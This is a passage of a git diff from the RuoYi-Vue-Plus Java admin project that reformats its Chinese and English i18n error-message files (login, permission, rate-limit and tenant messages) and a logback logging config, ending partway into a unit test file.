+auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A +auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 +rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 +sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A +sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A +email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A +social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A +social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A +social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A +##\u79DF\u6237 +tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A +tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 diff --git a/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties b/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties index f948c4a..be387d6 100644 --- a/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties +++ b/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties @@ -1,61 +1,61 @@ -#错误消息 -not.null=* Required fill in -user.jcaptcha.error=Captcha error -user.jcaptcha.expire=Captcha invalid -user.not.exists=Sorry, your account: {0} does not exist -user.password.not.match=User does not exist/Password error -user.password.retry.limit.count=Password input error {0} times -user.password.retry.limit.exceed=Password input error {0} times, account locked for {1} minutes -user.password.delete=Sorry, your account:{0} has been deleted -user.blocked=Sorry, your account: {0} has been disabled. Please contact the administrator -role.blocked=Role disabled,please contact administrators -user.logout.success=Exit successful -length.not.valid=The length must be between {min} and {max} characters -user.username.not.blank=Username cannot be blank -user.username.not.valid=* 2 to 20 chinese characters, letters, numbers or underscores, and must start with a non number -user.username.length.valid=Account length must be between {min} and {max} characters -user.password.not.blank=Password cannot be empty -user.password.length.valid=Password length must be between {min} and {max} characters -user.password.not.valid=* 5-50 characters -user.email.not.valid=Mailbox format error -user.email.not.blank=Mailbox cannot be blank -user.phonenumber.not.blank=Phone number cannot be blank -user.mobile.phone.number.not.valid=Phone number format error -user.login.success=Login successful -user.register.success=Register successful -user.register.save.error=Failed to save user {0}, The registered account already exists -user.register.error=Register failed, please contact system administrator -user.notfound=Please login again -user.forcelogout=The administrator is forced to exit,please login again -user.unknown.error=Unknown error, please login again -auth.grant.type.error=Auth grant type error -auth.grant.type.blocked=Auth grant type disabled -auth.grant.type.not.blank=Auth grant type cannot be blank -auth.clientid.not.blank=Auth clientid cannot be blank -##文件上传消息 -upload.exceed.maxSize=The uploaded file size exceeds the limit file size!
the maximum allowed file size is:{0}MB! -upload.filename.exceed.length=The maximum length of uploaded file name is {0} characters -##权限 -no.permission=You do not have permission to the data,please contact your administrator to add permissions [{0}] -no.create.permission=You do not have permission to create data,please contact your administrator to add permissions [{0}] -no.update.permission=You do not have permission to modify data,please contact your administrator to add permissions [{0}] -no.delete.permission=You do not have permission to delete data,please contact your administrator to add permissions [{0}] -no.export.permission=You do not have permission to export data,please contact your administrator to add permissions [{0}] -no.view.permission=You do not have permission to view data,please contact your administrator to add permissions [{0}] -repeat.submit.message=Repeat submit is not allowed, please try again later -rate.limiter.message=Visit too frequently, please try again later -sms.code.not.blank=Sms code cannot be blank -sms.code.retry.limit.count=Sms code input error {0} times -sms.code.retry.limit.exceed=Sms code input error {0} times, account locked for {1} minutes -email.code.not.blank=Email code cannot be blank -email.code.retry.limit.count=Email code input error {0} times -email.code.retry.limit.exceed=Email code input error {0} times, account locked for {1} minutes -xcx.code.not.blank=Mini program [code] cannot be blank -social.source.not.blank=Social login platform [source] cannot be blank -social.code.not.blank=Social login platform [code] cannot be blank -social.state.not.blank=Social login platform [state] cannot be blank -##租户 -tenant.number.not.blank=Tenant number cannot be blank -tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator -tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator -tenant.expired=Sorry, your tenant has expired. Please contact the administrator. +#错误消息 +not.null=* Required fill in +user.jcaptcha.error=Captcha error +user.jcaptcha.expire=Captcha invalid +user.not.exists=Sorry, your account: {0} does not exist +user.password.not.match=User does not exist/Password error +user.password.retry.limit.count=Password input error {0} times +user.password.retry.limit.exceed=Password input error {0} times, account locked for {1} minutes +user.password.delete=Sorry, your account:{0} has been deleted +user.blocked=Sorry, your account: {0} has been disabled. Please contact the administrator +role.blocked=Role disabled,please contact administrators +user.logout.success=Exit successful +length.not.valid=The length must be between {min} and {max} characters +user.username.not.blank=Username cannot be blank +user.username.not.valid=* 2 to 20 chinese characters, letters, numbers or underscores, and must start with a non number +user.username.length.valid=Account length must be between {min} and {max} characters +user.password.not.blank=Password cannot be empty +user.password.length.valid=Password length must be between {min} and {max} characters +user.password.not.valid=* 5-50 characters +user.email.not.valid=Mailbox format error +user.email.not.blank=Mailbox cannot be blank +user.phonenumber.not.blank=Phone number cannot be blank +user.mobile.phone.number.not.valid=Phone number format error +user.login.success=Login successful +user.register.success=Register successful +user.register.save.error=Failed to save user {0}, The registered account already exists +user.register.error=Register failed, please contact system administrator +user.notfound=Please login again +user.forcelogout=The administrator is forced to exit,please login again +user.unknown.error=Unknown error, please login again +auth.grant.type.error=Auth grant type error +auth.grant.type.blocked=Auth grant type disabled +auth.grant.type.not.blank=Auth grant type cannot be blank +auth.clientid.not.blank=Auth clientid cannot be blank +##文件上传消息 +upload.exceed.maxSize=The uploaded file size exceeds the limit file size!
the maximum allowed file size is:{0}MB! +upload.filename.exceed.length=The maximum length of uploaded file name is {0} characters +##权限 +no.permission=You do not have permission to the data,please contact your administrator to add permissions [{0}] +no.create.permission=You do not have permission to create data,please contact your administrator to add permissions [{0}] +no.update.permission=You do not have permission to modify data,please contact your administrator to add permissions [{0}] +no.delete.permission=You do not have permission to delete data,please contact your administrator to add permissions [{0}] +no.export.permission=You do not have permission to export data,please contact your administrator to add permissions [{0}] +no.view.permission=You do not have permission to view data,please contact your administrator to add permissions [{0}] +repeat.submit.message=Repeat submit is not allowed, please try again later +rate.limiter.message=Visit too frequently, please try again later +sms.code.not.blank=Sms code cannot be blank +sms.code.retry.limit.count=Sms code input error {0} times +sms.code.retry.limit.exceed=Sms code input error {0} times, account locked for {1} minutes +email.code.not.blank=Email code cannot be blank +email.code.retry.limit.count=Email code input error {0} times +email.code.retry.limit.exceed=Email code input error {0} times, account locked for {1} minutes +xcx.code.not.blank=Mini program [code] cannot be blank +social.source.not.blank=Social login platform [source] cannot be blank +social.code.not.blank=Social login platform [code] cannot be blank +social.state.not.blank=Social login platform [state] cannot be blank +##租户 +tenant.number.not.blank=Tenant number cannot be blank +tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator +tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator +tenant.expired=Sorry, your tenant has expired. Please contact the administrator. diff --git a/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties b/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties index a4b8e0a..9f9a593 100644 --- a/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties +++ b/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties @@ -1,61 +1,61 @@ -#\u9519\u8BEF\u6D88\u606F -not.null=* \u5FC5\u987B\u586B\u5199 -user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF -user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 -user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. -user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF -user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 -user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F -user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 -user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -user.logout.success=\u9000\u51FA\u6210\u529F -length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 -user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A -user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 -user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 -user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A -user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 -user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 -user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF -user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A -user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A -user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF -user.login.success=\u767B\u5F55\u6210\u529F -user.register.success=\u6CE8\u518C\u6210\u529F -user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 -user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 -user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 -user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 -user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 -auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF -auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 -auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A -auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A -##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F -upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 -upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 -##\u6743\u9650 -no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 -rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 -sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A -sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 -sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F -email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A -email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 -email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F -xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A -social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A -social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A -social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A -##\u79DF\u6237 -tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A -tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 +user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +user.logout.success=\u9000\u51FA\u6210\u529F +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 +user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 +user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A +user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A +user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 +user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF +auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 +auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A +auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 +rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 +sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A +sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A +email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A +social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A +social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A +social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A +##\u79DF\u6237 +tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A +tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 diff --git a/ruoyi-admin/src/main/resources/logback-plus.xml b/ruoyi-admin/src/main/resources/logback-plus.xml index fa78983..fd497de 100644 --- a/ruoyi-admin/src/main/resources/logback-plus.xml +++ b/ruoyi-admin/src/main/resources/logback-plus.xml @@ -1,129 +1,129 @@ - - - - - - - - - - ${console.log.pattern} - utf-8 - - - - - - ${log.path}/sys-console.log - - - ${log.path}/sys-console.%d{yyyy-MM-dd}.log - - 1 - - - ${log.pattern} - utf-8 - - - - INFO - - - - - - ${log.path}/sys-info.log - - - - ${log.path}/sys-info.%d{yyyy-MM-dd}.log - - 30 - - - ${log.pattern} - - - - INFO - - ACCEPT - - DENY - - - - - ${log.path}/sys-error.log - - - - ${log.path}/sys-error.%d{yyyy-MM-dd}.log - - 30 - - - ${log.pattern} - - - - ERROR - - ACCEPT - - DENY - - - - - - - 0 - - 512 - - - - - - - - 0 - - 512 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + ${console.log.pattern} + utf-8 + + + + + + ${log.path}/sys-console.log + + + ${log.path}/sys-console.%d{yyyy-MM-dd}.log + + 1 + + + ${log.pattern} + utf-8 + + + + INFO + + + + + + ${log.path}/sys-info.log + + + + ${log.path}/sys-info.%d{yyyy-MM-dd}.log + + 30 + + + ${log.pattern} + + + + INFO + + ACCEPT + + DENY + + + + + ${log.path}/sys-error.log + + + + ${log.path}/sys-error.%d{yyyy-MM-dd}.log + + 30 + + + ${log.pattern} + + + + ERROR + + ACCEPT + + DENY + + + + + + + 0 + + 512 + + + + + + + + 0 + + 512 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-admin/src/test/java/org/dromara/test/AssertUnitTest.java b/ruoyi-admin/src/test/java/org/dromara/test/AssertUnitTest.java index dba2323..0371470 100644 --- a/ruoyi-admin/src/test/java/org/dromara/test/AssertUnitTest.java +++ b/ruoyi-admin/src/test/java/org/dromara/test/AssertUnitTest.java @@ -1,45 +1,45 @@ -package org.dromara.test; - -import org.junit.jupiter.api.Assertions; -import org.junit.jupiter.api.DisplayName; -import 